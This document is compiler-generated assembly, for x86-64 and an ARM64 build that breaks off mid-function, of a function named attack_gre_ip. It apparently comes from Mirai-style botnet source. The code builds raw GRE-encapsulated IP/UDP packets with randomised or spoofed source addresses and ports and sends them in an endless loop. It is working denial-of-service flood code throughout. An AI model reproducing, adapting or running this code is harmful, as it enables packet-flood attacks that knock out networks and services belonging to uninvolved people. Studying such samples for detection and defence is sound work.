	.section	__TEXT,__text,regular,pure_instructions
	.build_version macos, 13, 0	sdk_version 13, 3
	.globl	_attack_gre_ip                  ## -- Begin function attack_gre_ip
	.p2align	4, 0x90
_attack_gre_ip:                         ## @attack_gre_ip
	.cfi_startproc
## %bb.0:
	pushq	%rbp
	.cfi_def_cfa_offset 16
	.cfi_offset %rbp, -16
	movq	%rsp, %rbp
	.cfi_def_cfa_register %rbp
	pushq	%r15
	pushq	%r14
	pushq	%r13
	pushq	%r12
	pushq	%rbx
	subq	$120, %rsp
	.cfi_offset %rbx, -56
	.cfi_offset %r12, -48
	.cfi_offset %r13, -40
	.cfi_offset %r14, -32
	.cfi_offset %r15, -24
	movq	%rcx, %r14
	movl	%edx, %r15d
	movq	%rsi, %r12
	movl	%edi, %r13d
	movl	$8, %esi
	callq	_calloc
	movq	%rax, -136(%rbp)                ## 8-byte Spill
	movq	_ATK_OPT_IP_TOS@GOTPCREL(%rip), %rax
	movl	(%rax), %edx
	movl	%r15d, %edi
	movq	%r14, %rsi
	xorl	%ecx, %ecx
	callq	_attack_get_opt_int
	movq	%rax, -72(%rbp)                 ## 8-byte Spill
	movq	_ATK_OPT_IP_IDENT@GOTPCREL(%rip), %rax
	movl	(%rax), %edx
	movl	%r15d, %edi
	movq	%r14, %rsi
	movl	$65535, %ecx                    ## imm = 0xFFFF
	callq	_attack_get_opt_int
	movq	%rax, -80(%rbp)                 ## 8-byte Spill
	movq	_ATK_OPT_IP_TTL@GOTPCREL(%rip), %rax
	movl	(%rax), %edx
	movl	%r15d, %edi
	movq	%r14, %rsi
	movl	$64, %ecx
	callq	_attack_get_opt_int
	movq	%rax, -144(%rbp)                ## 8-byte Spill
	movq	_ATK_OPT_IP_DF@GOTPCREL(%rip), %rax
	movl	(%rax), %edx
	movq	_TRUE@GOTPCREL(%rip), %rbx
	movl	(%rbx), %ecx
	movl	%r15d, %edi
	movq	%r14, %rsi
	callq	_attack_get_opt_int
	movq	%rax, -56(%rbp)                 ## 8-byte Spill
	movq	_ATK_OPT_SPORT@GOTPCREL(%rip), %rax
	movl	(%rax), %edx
	movl	%r15d, %edi
	movq	%r14, %rsi
	movl	$65535, %ecx                    ## imm = 0xFFFF
	callq	_attack_get_opt_int
	movq	%rax, -128(%rbp)                ## 8-byte Spill
	movq	_ATK_OPT_DPORT@GOTPCREL(%rip), %rax
	movl	(%rax), %edx
	movl	%r15d, %edi
	movq	%r14, %rsi
	movl	$65535, %ecx                    ## imm = 0xFFFF
	callq	_attack_get_opt_int
	movq	%rax, -120(%rbp)                ## 8-byte Spill
	movq	_ATK_OPT_PAYLOAD_SIZE@GOTPCREL(%rip), %rax
	movl	(%rax), %edx
	movl	%r15d, %edi
	movq	%r14, %rsi
	movl	$512, %ecx                      ## imm = 0x200
	callq	_attack_get_opt_int
	movq	%rax, -64(%rbp)                 ## 8-byte Spill
	movq	_ATK_OPT_PAYLOAD_RAND@GOTPCREL(%rip), %rax
	movl	(%rax), %edx
	movl	(%rbx), %ecx
	movl	%r15d, %edi
	movq	%r14, %rsi
	callq	_attack_get_opt_int
	movq	%rax, -152(%rbp)                ## 8-byte Spill
	movq	_ATK_OPT_GRE_CONSTIP@GOTPCREL(%rip), %rax
	movl	(%rax), %edx
	movq	_FALSE@GOTPCREL(%rip), %rax
	movl	(%rax), %ecx
	movl	%r15d, %edi
	movq	%r14, %rsi
	callq	_attack_get_opt_int
	movq	%rax, -112(%rbp)                ## 8-byte Spill
	movq	_ATK_OPT_SOURCE@GOTPCREL(%rip), %rax
	movl	(%rax), %edx
	movq	_LOCAL_ADDR@GOTPCREL(%rip), %rax
	movl	(%rax), %ecx
	movl	%r15d, %edi
	movq	%r14, %rsi
	callq	_attack_get_opt_int
	movq	%rax, -104(%rbp)                ## 8-byte Spill
	movq	_AF_INET@GOTPCREL(%rip), %rax
	movl	(%rax), %edi
	movq	_SOCK_RAW@GOTPCREL(%rip), %rax
	movl	(%rax), %esi
	movq	_IPPROTO_TCP@GOTPCREL(%rip), %rax
	movl	(%rax), %edx
	callq	_socket
	cmpl	$-1, %eax
	je	LBB0_35
## %bb.1:
	movl	%eax, %ebx
	movl	$1, -44(%rbp)
	movq	_IPPROTO_IP@GOTPCREL(%rip), %rax
	movl	(%rax), %esi
	movq	_IP_HDRINCL@GOTPCREL(%rip), %rax
	movl	(%rax), %edx
	leaq	-44(%rbp), %rcx
	movl	%ebx, %edi
	movl	$4, %r8d
	callq	_setsockopt
	cmpl	$-1, %eax
	je	LBB0_34
## %bb.2:
	movl	%ebx, -96(%rbp)                 ## 4-byte Spill
	movl	$0, -44(%rbp)
	movl	%r13d, -48(%rbp)                ## 4-byte Spill
	testl	%r13d, %r13d
	jle	LBB0_10
## %bb.3:
	movq	-64(%rbp), %rcx                 ## 8-byte Reload
	leal	160(%rcx), %eax
	movl	%eax, -92(%rbp)                 ## 4-byte Spill
	leal	88(%rcx), %eax
	movl	%eax, -88(%rbp)                 ## 4-byte Spill
	movq	-80(%rbp), %rax                 ## 8-byte Reload
	movl	%eax, %r14d
	notl	%r14d
	leal	24(%rcx), %eax
	movl	%eax, -84(%rbp)                 ## 4-byte Spill
	xorl	%r13d, %r13d
	movq	-144(%rbp), %rbx                ## 8-byte Reload
	jmp	LBB0_4
	.p2align	4, 0x90
LBB0_12:                                ##   in Loop: Header=BB0_4 Depth=1
	movl	$1023, %ecx                     ## imm = 0x3FF
	subl	%eax, %ecx
LBB0_13:                                ##   in Loop: Header=BB0_4 Depth=1
	movl	%ecx, 96(%r15)
	movq	-128(%rbp), %rdi                ## 8-byte Reload
                                        ## kill: def $edi killed $edi killed $rdi
	callq	_htons
	movl	%eax, 136(%r15)
	movq	-120(%rbp), %rdi                ## 8-byte Reload
                                        ## kill: def $edi killed $edi killed $rdi
	callq	_htons
	movl	%eax, 140(%r15)
	movl	-84(%rbp), %edi                 ## 4-byte Reload
	callq	_htons
	movq	%rax, 144(%r15)
	movl	-44(%rbp), %r13d
	incl	%r13d
	movl	%r13d, -44(%rbp)
	cmpl	-48(%rbp), %r13d                ## 4-byte Folded Reload
	jge	LBB0_10
LBB0_4:                                 ## =>This Inner Loop Header: Depth=1
	movl	$1510, %edi                     ## imm = 0x5E6
	movl	$8, %esi
	callq	_calloc
	movq	%rax, %r15
	movslq	%r13d, %rax
	movq	-136(%rbp), %rcx                ## 8-byte Reload
	movq	%r15, (%rcx,%rax,8)
	movabsq	$21474836484, %rax              ## imm = 0x500000004
	movq	%rax, (%r15)
	movq	-72(%rbp), %r13                 ## 8-byte Reload
	movl	%r13d, 8(%r15)
	movl	-92(%rbp), %edi                 ## 4-byte Reload
	callq	_htons
	movq	%rax, 56(%r15)
	movq	-80(%rbp), %rdi                 ## 8-byte Reload
                                        ## kill: def $edi killed $edi killed $rdi
	callq	_htons
	movl	%eax, 12(%r15)
	movl	%ebx, 16(%r15)
	cmpq	$0, -56(%rbp)                   ## 8-byte Folded Reload
	je	LBB0_6
## %bb.5:                               ##   in Loop: Header=BB0_4 Depth=1
	movl	$16384, %edi                    ## imm = 0x4000
	callq	_htons
	movq	%rax, 48(%r15)
LBB0_6:                                 ##   in Loop: Header=BB0_4 Depth=1
	movq	_IPPROTO_GRE@GOTPCREL(%rip), %rax
	movl	(%rax), %eax
	movl	%eax, 40(%r15)
	movq	-104(%rbp), %rax                ## 8-byte Reload
	movl	%eax, 20(%r15)
	movslq	-44(%rbp), %rax
	leaq	(%rax,%rax,2), %rax
	movl	(%r12,%rax,8), %eax
	movl	%eax, 24(%r15)
	movq	_ETH_P_IP@GOTPCREL(%rip), %rax
	movl	(%rax), %edi
	callq	_htons
	movq	%rax, 64(%r15)
	movabsq	$21474836484, %rax              ## imm = 0x500000004
	movq	%rax, 72(%r15)
	movl	%r13d, 80(%r15)
	movl	-88(%rbp), %edi                 ## 4-byte Reload
	callq	_htons
	movq	%rax, 128(%r15)
	movl	%r14d, %edi
	callq	_htons
	movl	%eax, 84(%r15)
	movl	%ebx, 88(%r15)
	cmpq	$0, -56(%rbp)                   ## 8-byte Folded Reload
	je	LBB0_8
## %bb.7:                               ##   in Loop: Header=BB0_4 Depth=1
	movl	$16384, %edi                    ## imm = 0x4000
	callq	_htons
	movq	%rax, 120(%r15)
LBB0_8:                                 ##   in Loop: Header=BB0_4 Depth=1
	movq	_IPPROTO_UDP@GOTPCREL(%rip), %rax
	movl	(%rax), %eax
	movl	%eax, 112(%r15)
	xorl	%eax, %eax
	callq	_rand_next
	movl	%eax, 92(%r15)
	cmpq	$0, -112(%rbp)                  ## 8-byte Folded Reload
	je	LBB0_12
## %bb.9:                               ##   in Loop: Header=BB0_4 Depth=1
	movl	24(%r15), %ecx
	jmp	LBB0_13
LBB0_10:
	movq	_TRUE@GOTPCREL(%rip), %rax
	movl	(%rax), %eax
	testl	%eax, %eax
	movl	-48(%rbp), %ebx                 ## 4-byte Reload
	je	LBB0_35
## %bb.11:
	movq	-64(%rbp), %rcx                 ## 8-byte Reload
	leal	24(%rcx), %edx
	movl	%edx, -56(%rbp)                 ## 4-byte Spill
	addl	$160, %ecx
	movl	%ecx, -72(%rbp)                 ## 4-byte Spill
	jmp	LBB0_16
	.p2align	4, 0x90
LBB0_14:                                ##   in Loop: Header=BB0_16 Depth=1
	movq	_TRUE@GOTPCREL(%rip), %rax
	movl	(%rax), %eax
LBB0_15:                                ##   in Loop: Header=BB0_16 Depth=1
	testl	%eax, %eax
	je	LBB0_35
LBB0_16:                                ## =>This Loop Header: Depth=1
                                        ##     Child Loop BB0_18 Depth 2
	movl	$0, -44(%rbp)
	testl	%ebx, %ebx
	jle	LBB0_15
## %bb.17:                              ##   in Loop: Header=BB0_16 Depth=1
	xorl	%eax, %eax
	jmp	LBB0_18
	.p2align	4, 0x90
LBB0_33:                                ##   in Loop: Header=BB0_18 Depth=2
	movq	$0, 32(%r14)
	movq	%r14, %rdi
	movl	$64, %esi
	callq	_checksum_generic
	movq	%rax, 32(%r14)
	movq	$0, 104(%r14)
	movq	%r15, %rdi
	movl	$64, %esi
	callq	_checksum_generic
	movq	%rax, 104(%r14)
	movq	$0, 152(%r14)
	movq	144(%r14), %rdx
	movq	%r15, %rdi
	movq	%r13, %rsi
	movl	-56(%rbp), %ecx                 ## 4-byte Reload
	callq	_checksum_tcpudp
	movq	%rax, 152(%r14)
	movq	_AF_INET@GOTPCREL(%rip), %rax
	movl	(%rax), %eax
	movslq	-44(%rbp), %rcx
	leaq	(%rcx,%rcx,2), %rcx
	leaq	8(%r12,%rcx,8), %r8
	movl	%eax, 20(%r12,%rcx,8)
	movl	24(%r14), %eax
	movl	%eax, 16(%r12,%rcx,8)
	movq	$0, 8(%r12,%rcx,8)
	movq	_MSG_NOSIGNAL@GOTPCREL(%rip), %rax
	movl	(%rax), %ecx
	movl	-96(%rbp), %edi                 ## 4-byte Reload
	movq	%r14, %rsi
	movl	-72(%rbp), %edx                 ## 4-byte Reload
	movl	$4, %r9d
	callq	_sendto
	movl	-44(%rbp), %eax
	incl	%eax
	movl	%eax, -44(%rbp)
	cmpl	%ebx, %eax
	jge	LBB0_14
LBB0_18:                                ##   Parent Loop BB0_16 Depth=1
                                        ## =>  This Inner Loop Header: Depth=2
	cltq
	movq	-136(%rbp), %rcx                ## 8-byte Reload
	movq	(%rcx,%rax,8), %r14
	leaq	(%rax,%rax,2), %rax
	cmpl	$31, 4(%r12,%rax,8)
	jle	LBB0_19
## %bb.20:                              ##   in Loop: Header=BB0_18 Depth=2
	cmpl	$-1, -104(%rbp)                 ## 4-byte Folded Reload
	je	LBB0_21
LBB0_22:                                ##   in Loop: Header=BB0_18 Depth=2
	cmpl	$65535, -80(%rbp)               ## 4-byte Folded Reload
                                        ## imm = 0xFFFF
	jne	LBB0_24
LBB0_23:                                ##   in Loop: Header=BB0_18 Depth=2
	xorl	%eax, %eax
	callq	_rand_next
	movzwl	%ax, %eax
	movl	%eax, 12(%r14)
	movl	$999, %ecx                      ## imm = 0x3E7
	subl	%eax, %ecx
	movl	%ecx, 84(%r14)
LBB0_24:                                ##   in Loop: Header=BB0_18 Depth=2
	leaq	136(%r14), %r13
	cmpl	$65535, -128(%rbp)              ## 4-byte Folded Reload
                                        ## imm = 0xFFFF
	je	LBB0_25
## %bb.26:                              ##   in Loop: Header=BB0_18 Depth=2
	cmpl	$65535, -120(%rbp)              ## 4-byte Folded Reload
                                        ## imm = 0xFFFF
	je	LBB0_27
LBB0_28:                                ##   in Loop: Header=BB0_18 Depth=2
	cmpq	$0, -112(%rbp)                  ## 8-byte Folded Reload
	je	LBB0_29
LBB0_30:                                ##   in Loop: Header=BB0_18 Depth=2
	movl	24(%r14), %eax
	jmp	LBB0_31
	.p2align	4, 0x90
LBB0_19:                                ##   in Loop: Header=BB0_18 Depth=2
	movl	(%r12,%rax,8), %edi
	callq	_ntohl
	movq	%rax, %rbx
	xorl	%eax, %eax
	callq	_rand_next
	movslq	-44(%rbp), %rcx
	leaq	(%rcx,%rcx,2), %rcx
	movzbl	4(%r12,%rcx,8), %ecx
	sarl	%cl, %eax
	movslq	%eax, %rdi
	addq	%rbx, %rdi
	movl	-48(%rbp), %ebx                 ## 4-byte Reload
	callq	_htonl
	movl	%eax, 24(%r14)
	cmpl	$-1, -104(%rbp)                 ## 4-byte Folded Reload
	jne	LBB0_22
LBB0_21:                                ##   in Loop: Header=BB0_18 Depth=2
	xorl	%eax, %eax
	callq	_rand_next
	movl	%eax, 20(%r14)
	cmpl	$65535, -80(%rbp)               ## 4-byte Folded Reload
                                        ## imm = 0xFFFF
	je	LBB0_23
	jmp	LBB0_24
	.p2align	4, 0x90
LBB0_25:                                ##   in Loop: Header=BB0_18 Depth=2
	xorl	%eax, %eax
	callq	_rand_next
	movzwl	%ax, %eax
	movl	%eax, (%r13)
	cmpl	$65535, -120(%rbp)              ## 4-byte Folded Reload
                                        ## imm = 0xFFFF
	jne	LBB0_28
LBB0_27:                                ##   in Loop: Header=BB0_18 Depth=2
	xorl	%eax, %eax
	callq	_rand_next
	movzwl	%ax, %eax
	movl	%eax, 140(%r14)
	cmpq	$0, -112(%rbp)                  ## 8-byte Folded Reload
	jne	LBB0_30
LBB0_29:                                ##   in Loop: Header=BB0_18 Depth=2
	xorl	%eax, %eax
	callq	_rand_next
LBB0_31:                                ##   in Loop: Header=BB0_18 Depth=2
	leaq	72(%r14), %r15
	movl	%eax, 96(%r14)
	cmpq	$0, -152(%rbp)                  ## 8-byte Folded Reload
	je	LBB0_33
## %bb.32:                              ##   in Loop: Header=BB0_18 Depth=2
	leaq	160(%r14), %rdi
	movq	-64(%rbp), %rsi                 ## 8-byte Reload
                                        ## kill: def $esi killed $esi killed $rsi
	callq	_rand_str
	jmp	LBB0_33
LBB0_34:
	movl	%ebx, %edi
	callq	_close
LBB0_35:
	addq	$120, %rsp
	popq	%rbx
	popq	%r12
	popq	%r13
	popq	%r14
	popq	%r15
	popq	%rbp
	retq
	.cfi_endproc
                                        ## -- End function
	.comm	_ATK_OPT_IP_TOS,4,2             ## @ATK_OPT_IP_TOS
	.comm	_ATK_OPT_IP_IDENT,4,2           ## @ATK_OPT_IP_IDENT
	.comm	_ATK_OPT_IP_TTL,4,2             ## @ATK_OPT_IP_TTL
	.comm	_ATK_OPT_IP_DF,4,2              ## @ATK_OPT_IP_DF
	.comm	_TRUE,4,2                       ## @TRUE
	.comm	_ATK_OPT_SPORT,4,2              ## @ATK_OPT_SPORT
	.comm	_ATK_OPT_DPORT,4,2              ## @ATK_OPT_DPORT
	.comm	_ATK_OPT_PAYLOAD_SIZE,4,2       ## @ATK_OPT_PAYLOAD_SIZE
	.comm	_ATK_OPT_PAYLOAD_RAND,4,2       ## @ATK_OPT_PAYLOAD_RAND
	.comm	_ATK_OPT_GRE_CONSTIP,4,2        ## @ATK_OPT_GRE_CONSTIP
	.comm	_FALSE,4,2                      ## @FALSE
	.comm	_ATK_OPT_SOURCE,4,2             ## @ATK_OPT_SOURCE
	.comm	_LOCAL_ADDR,4,2                 ## @LOCAL_ADDR
	.comm	_AF_INET,4,2                    ## @AF_INET
	.comm	_SOCK_RAW,4,2                   ## @SOCK_RAW
	.comm	_IPPROTO_TCP,4,2                ## @IPPROTO_TCP
	.comm	_IPPROTO_IP,4,2                 ## @IPPROTO_IP
	.comm	_IP_HDRINCL,4,2                 ## @IP_HDRINCL
	.comm	_IPPROTO_GRE,4,2                ## @IPPROTO_GRE
	.comm	_ETH_P_IP,4,2                   ## @ETH_P_IP
	.comm	_IPPROTO_UDP,4,2                ## @IPPROTO_UDP
	.comm	_MSG_NOSIGNAL,4,2               ## @MSG_NOSIGNAL
	.comm	_errno,8,3                      ## @errno
.subsections_via_symbols

	.section	__TEXT,__text,regular,pure_instructions
	.build_version macos, 13, 0	sdk_version 13, 3
	.section	__TEXT,__literal8,8byte_literals
	.p2align	3                               ; -- Begin function attack_gre_ip
lCPI0_0:
	.long	4                               ; 0x4
	.long	5                               ; 0x5
	.section	__TEXT,__text,regular,pure_instructions
	.globl	_attack_gre_ip
	.p2align	2
_attack_gre_ip:                         ; @attack_gre_ip
	.cfi_startproc
; %bb.0:
	sub	sp, sp, #208
	.cfi_def_cfa_offset 208
	stp	d9, d8, [sp, #96]               ; 16-byte Folded Spill
	stp	x28, x27, [sp, #112]            ; 16-byte Folded Spill
	stp	x26, x25, [sp, #128]            ; 16-byte Folded Spill
	stp	x24, x23, [sp, #144]            ; 16-byte Folded Spill
	stp	x22, x21, [sp, #160]            ; 16-byte Folded Spill
	stp	x20, x19, [sp, #176]            ; 16-byte Folded Spill
	stp	x29, x30, [sp, #192]            ; 16-byte Folded Spill
	add	x29, sp, #192
	.cfi_def_cfa w29, 16
	.cfi_offset w30, -8
	.cfi_offset w29, -16
	.cfi_offset w19, -24
	.cfi_offset w20, -32
	.cfi_offset w21, -40
	.cfi_offset w22, -48
	.cfi_offset w23, -56
	.cfi_offset w24, -64
	.cfi_offset w25, -72
	.cfi_offset w26, -80
	.cfi_offset w27, -88
	.cfi_offset w28, -96
	.cfi_offset b8, -104
	.cfi_offset b9, -112
	mov	x20, x3
	mov	x21, x2
	mov	x19, x1
	str	w0, [sp, #88]                   ; 4-byte Folded Spill
	mov	w1, #8
	bl	_calloc
	str	x0, [sp, #72]                   ; 8-byte Folded Spill
Lloh0:
	adrp	x8, _ATK_OPT_IP_TOS@GOTPAGE
Lloh1:
	ldr	x8, [x8, _ATK_OPT_IP_TOS@GOTPAGEOFF]
Lloh2:
	ldr	w2, [x8]
	mov	x0, x21
	mov	x1, x20
	mov	w3, #0
	bl	_attack_get_opt_int
	mov	x24, x0
Lloh3:
	adrp	x8, _ATK_OPT_IP_IDENT@GOTPAGE
Lloh4:
	ldr	x8, [x8, _ATK_OPT_IP_IDENT@GOTPAGEOFF]
Lloh5:
	ldr	w2, [x8]
	mov	x0, x21
	mov	x1, x20
	mov	w3, #65535
	bl	_attack_get_opt_int
	str	x0, [sp, #80]                   ; 8-byte Folded Spill
Lloh6:
	adrp	x8, _ATK_OPT_IP_TTL@GOTPAGE
Lloh7:
	ldr	x8, [x8, _ATK_OPT_IP_TTL@GOTPAGEOFF]
Lloh8:
	ldr	w2, [x8]
	mov	x0, x21
	mov	x1, x20
	mov	w3, #64
	bl	_attack_get_opt_int
	str	x0, [sp, #24]                   ; 8-byte Folded Spill
Lloh9:
	adrp	x8, _ATK_OPT_IP_DF@GOTPAGE
Lloh10:
	ldr	x8, [x8, _ATK_OPT_IP_DF@GOTPAGEOFF]
Lloh11:
	ldr	w2, [x8]
Lloh12:
	adrp	x22, _TRUE@GOTPAGE
Lloh13:
	ldr	x22, [x22, _TRUE@GOTPAGEOFF]
	ldr	w3, [x22]
	mov	x0, x21
	mov	x1, x20
	bl	_attack_get_opt_int
	str	x0, [sp, #16]                   ; 8-byte Folded Spill
Lloh14:
	adrp	x8, _ATK_OPT_SPORT@GOTPAGE
Lloh15:
	ldr	x8, [x8, _ATK_OPT_SPORT@GOTPAGEOFF]
Lloh16:
	ldr	w2, [x8]
	mov	x0, x21
	mov	x1, x20
	mov	w3, #65535
	bl	_attack_get_opt_int
	str	x0, [sp, #64]                   ; 8-byte Folded Spill
Lloh17:
	adrp	x8, _ATK_OPT_DPORT@GOTPAGE
Lloh18:
	ldr	x8, [x8, _ATK_OPT_DPORT@GOTPAGEOFF]
Lloh19:
	ldr	w2, [x8]
	mov	x0, x21
	mov	x1, x20
	mov	w3, #65535
	bl	_attack_get_opt_int
	str	x0, [sp, #56]                   ; 8-byte Folded Spill
Lloh20:
	adrp	x8, _ATK_OPT_PAYLOAD_SIZE@GOTPAGE
Lloh21:
	ldr	x8, [x8, _ATK_OPT_PAYLOAD_SIZE@GOTPAGEOFF]
Lloh22:
	ldr	w2, [x8]
	mov	x0, x21
	mov	x1, x20
	mov	w3, #512
	bl	_attack_get_opt_int
	str	x0, [sp, #32]                   ; 8-byte Folded Spill
Lloh23:
	adrp	x8, _ATK_OPT_PAYLOAD_RAND@GOTPAGE
Lloh24:
	ldr	x8, [x8, _ATK_OPT_PAYLOAD_RAND@GOTPAGEOFF]
Lloh25:
	ldr	w2, [x8]
	ldr	w3, [x22]
	mov	x0, x21
	mov	x1, x20
	bl	_attack_get_opt_int
	str	x0, [sp, #40]                   ; 8-byte Folded Spill
Lloh26:
	adrp	x8, _ATK_OPT_GRE_CONSTIP@GOTPAGE
Lloh27:
	ldr	x8, [x8, _ATK_OPT_GRE_CONSTIP@GOTPAGEOFF]
Lloh28:
	ldr	w2, [x8]
Lloh29:
	adrp	x8, _FALSE@GOTPAGE
Lloh30:
	ldr	x8, [x8, _FALSE@GOTPAGEOFF]
Lloh31:
	ldr	w3, [x8]
	mov	x0, x21
	mov	x1, x20
	bl	_attack_get_opt_int
	str	x0, [sp, #48]                   ; 8-byte Folded Spill
Lloh32:
	adrp	x8, _ATK_OPT_SOURCE@GOTPAGE
Lloh33:
	ldr	x8, [x8, _ATK_OPT_SOURCE@GOTPAGEOFF]
Lloh34:
	ldr	w2, [x8]
Lloh35:
	adrp	x8, _LOCAL_ADDR@GOTPAGE
Lloh36:
	ldr	x8, [x8, _LOCAL_ADDR@GOTPAGEOFF]
Lloh37:
	ldr	w3, [x8]
	mov	x0, x21
	mov	x1, x20
	bl	_attack_get_opt_int
	mov	x28, x0
Lloh38:
	adrp	x8, _AF_INET@GOTPAGE
Lloh39:
	ldr	x8, [x8, _AF_INET@GOTPAGEOFF]
Lloh40:
	ldr	w0, [x8]
Lloh41:
	adrp	x8, _SOCK_RAW@GOTPAGE
Lloh42:
	ldr	x8, [x8, _SOCK_RAW@GOTPAGEOFF]
Lloh43:
	ldr	w1, [x8]
Lloh44:
	adrp	x8, _IPPROTO_TCP@GOTPAGE
Lloh45:
	ldr	x8, [x8, _IPPROTO_TCP@GOTPAGEOFF]
Lloh46:
	ldr	w2, [x8]
	bl	_socket
	cmn	w0, #1
	b.eq	LBB0_35
; %bb.1:
	mov	x25, x0
	mov	w8, #1
	str	w8, [sp, #92]
Lloh47:
	adrp	x8, _IPPROTO_IP@GOTPAGE
Lloh48:
	ldr	x8, [x8, _IPPROTO_IP@GOTPAGEOFF]
Lloh49:
	ldr	w1, [x8]
Lloh50:
	adrp	x8, _IP_HDRINCL@GOTPAGE
Lloh51:
	ldr	x8, [x8, _IP_HDRINCL@GOTPAGEOFF]
Lloh52:
	ldr	w2, [x8]
	add	x3, sp, #92
	mov	w4, #4
	bl	_setsockopt
	cmn	w0, #1
	b.eq	LBB0_34
; %bb.2:
	str	wzr, [sp, #92]
	ldr	w8, [sp, #88]                   ; 4-byte Folded Reload
	cmp	w8, #1
	b.lt	LBB0_12
; %bb.3:
	mov	w23, #0
	ldr	x9, [sp, #32]                   ; 8-byte Folded Reload
	add	w10, w9, #160
	add	w8, w9, #88
	stp	w8, w10, [sp, #8]               ; 8-byte Folded Spill
Lloh53:
	adrp	x8, lCPI0_0@PAGE
Lloh54:
	ldr	d8, [x8, lCPI0_0@PAGEOFF]
	ldr	x8, [sp, #80]                   ; 8-byte Folded Reload
	mvn	w22, w8
	add	w20, w9, #24
Lloh55:
	adrp	x26, _ETH_P_IP@GOTPAGE
Lloh56:
	ldr	x26, [x26, _ETH_P_IP@GOTPAGEOFF]
Lloh57:
	adrp	x27, _IPPROTO_UDP@GOTPAGE
Lloh58:
	ldr	x27, [x27, _IPPROTO_UDP@GOTPAGEOFF]
	b	LBB0_6
LBB0_4:                                 ;   in Loop: Header=BB0_6 Depth=1
	mov	w8, #1023
	sub	w8, w8, w0
LBB0_5:                                 ;   in Loop: Header=BB0_6 Depth=1
	str	w8, [x21, #96]
	ldr	x0, [sp, #64]                   ; 8-byte Folded Reload
                                        ; kill: def $w0 killed $w0 killed $x0
	bl	_htons
	str	w0, [x21, #136]
	ldr	x0, [sp, #56]                   ; 8-byte Folded Reload
                                        ; kill: def $w0 killed $w0 killed $x0
	bl	_htons
	str	w0, [x21, #140]
	mov	x0, x20
	bl	_htons
	str	x0, [x21, #144]
	ldr	w8, [sp, #92]
	add	w23, w8, #1
	str	w23, [sp, #92]
	ldr	w8, [sp, #88]                   ; 4-byte Folded Reload
	cmp	w23, w8
	b.ge	LBB0_12
LBB0_6:                                 ; =>This Inner Loop Header: Depth=1
	mov	w0, #1510
	mov	w1, #8
	bl	_calloc
	mov	x21, x0
	ldr	x8, [sp, #72]                   ; 8-byte Folded Reload
	str	x0, [x8, w23, sxtw #3]
	str	d8, [x0]
	mov	x23, x24
	str	w23, [x0, #8]
	ldr	w0, [sp, #12]                   ; 4-byte Folded Reload
	bl	_htons
	str	x0, [x21, #56]
	ldr	x0, [sp, #80]                   ; 8-byte Folded Reload
                                        ; kill: def $w0 killed $w0 killed $x0
	bl	_htons
	ldr	x8, [sp, #24]                   ; 8-byte Folded Reload
	stp	w0, w8, [x21, #12]
	ldr	x8, [sp, #16]                   ; 8-byte Folded Reload
	cbz	x8, LBB0_8
; %bb.7:                                ;   in Loop: Header=BB0_6 Depth=1
	mov	w0, #16384
	bl	_htons
	str	x0, [x21, #48]
LBB0_8:                                 ;   in Loop: Header=BB0_6 Depth=1
Lloh59:
	adrp	x8, _IPPROTO_GRE@GOTPAGE
Lloh60:
	ldr	x8, [x8, _IPPROTO_GRE@GOTPAGEOFF]
Lloh61:
	ldr	w8, [x8]
	str	w8, [x21, #40]
	ldrsw	x8, [sp, #92]
	mov	w9, #24
	mul	x8, x8, x9
	ldr	w8, [x19, x8]
	stp	w28, w8, [x21, #20]
	ldr	w0, [x26]
	bl	_htons
	str	x0, [x21, #64]
	str	d8, [x21, #72]
	str	w23, [x21, #80]
	ldr	w0, [sp, #8]                    ; 4-byte Folded Reload
	bl	_htons
	str	x0, [x21, #128]
	mov	x0, x22
	bl	_htons
	ldr	x8, [sp, #24]                   ; 8-byte Folded Reload
	stp	w0, w8, [x21, #84]
	ldr	x8, [sp, #16]                   ; 8-byte Folded Reload
	cbz	x8, LBB0_10
; %bb.9:                                ;   in Loop: Header=BB0_6 Depth=1
	mov	w0, #16384
	bl	_htons
	str	x0, [x21, #120]
LBB0_10:                                ;   in Loop: Header=BB0_6 Depth=1
	ldr	w8, [x27]
	str	w8, [x21, #112]
	bl	_rand_next
	str	w0, [x21, #92]
	ldr	x8, [sp, #48]                   ; 8-byte Folded Reload
	cbz	x8, LBB0_4
; %bb.11:                               ;   in Loop: Header=BB0_6 Depth=1
	ldr	w8, [x21, #24]
	b	LBB0_5
LBB0_12:
Lloh62:
	adrp	x8, _TRUE@GOTPAGE
Lloh63:
	ldr	x8, [x8, _TRUE@GOTPAGEOFF]
Lloh64:
	ldr	w8, [x8]
	cbz	w8, LBB0_35
; %bb.13:
	ldr	x9, [sp, #32]                   ; 8-byte Folded Reload
	add	w21, w9, #24
	add	w20, w9, #160
	mov	w24, #24
	mov	w27, #65535
	b	LBB0_16
LBB0_14:                                ;   in Loop: Header=BB0_16 Depth=1
Lloh65:
	adrp	x8, _TRUE@GOTPAGE
Lloh66:
	ldr	x8, [x8, _TRUE@GOTPAGEOFF]
Lloh67:
	ldr	w8, [x8]
LBB0_15:                                ;   in Loop: Header=BB0_16 Depth=1
	cbz	w8, LBB0_35
LBB0_16:                                ; =>This Loop Header: Depth=1
                                        ;     Child Loop BB0_19 Depth 2
	str	wzr, [sp, #92]
	ldr	w9, [sp, #88]                   ; 4-byte Folded Reload
	cmp	w9, #1
	b.lt	LBB0_15
; %bb.17:                               ;   in Loop: Header=BB0_16 Depth=1
	mov	w8, #0
	b	LBB0_19
LBB0_18:                                ;   in Loop: Header=BB0_19 Depth=2
	add	x26, x22, #72
	str	xzr, [x22, #32]
	mov	x0, x22
	mov	w1, #64
	bl	_checksum_generic
	str	x0, [x22, #32]
	str	xzr, [x22, #104]
	mov	x0, x26
	mov	w1, #64
	bl	_checksum_generic
	str	x0, [x22, #104]
	str	xzr, [x22, #152]
	ldr	x2, [x22, #144]
	mov	x0, x26
	mov	x1, x23
	mov	x3, x21
	bl	_checksum_tcpudp
	str	x0, [x22, #152]
Lloh68:
	adrp	x8, _AF_INET@GOTPAGE
Lloh69:
	ldr	x8, [x8, _AF_INET@GOTPAGEOFF]
Lloh70:
	ldr	w8, [x8]
	ldrsw	x9, [sp, #92]
	madd	x4, x9, x24, x19
	str	xzr, [x4, #8]!
	ldr	w9, [x22, #24]
	stp	w9, w8, [x4, #8]
Lloh71:
	adrp	x8, _MSG_NOSIGNAL@GOTPAGE
Lloh72:
	ldr	x8, [x8, _MSG_NOSIGNAL@GOTPAGEOFF]
Lloh73:
	ldr	w3, [x8]
	mov	x0, x25
	mov	x1, x22
	mov	x2, x20
	mov	w5, #4
	bl	_sendto
	ldp	w9, w8, [sp, #88]               ; 4-byte Folded Reload
	add	w8, w8, #1
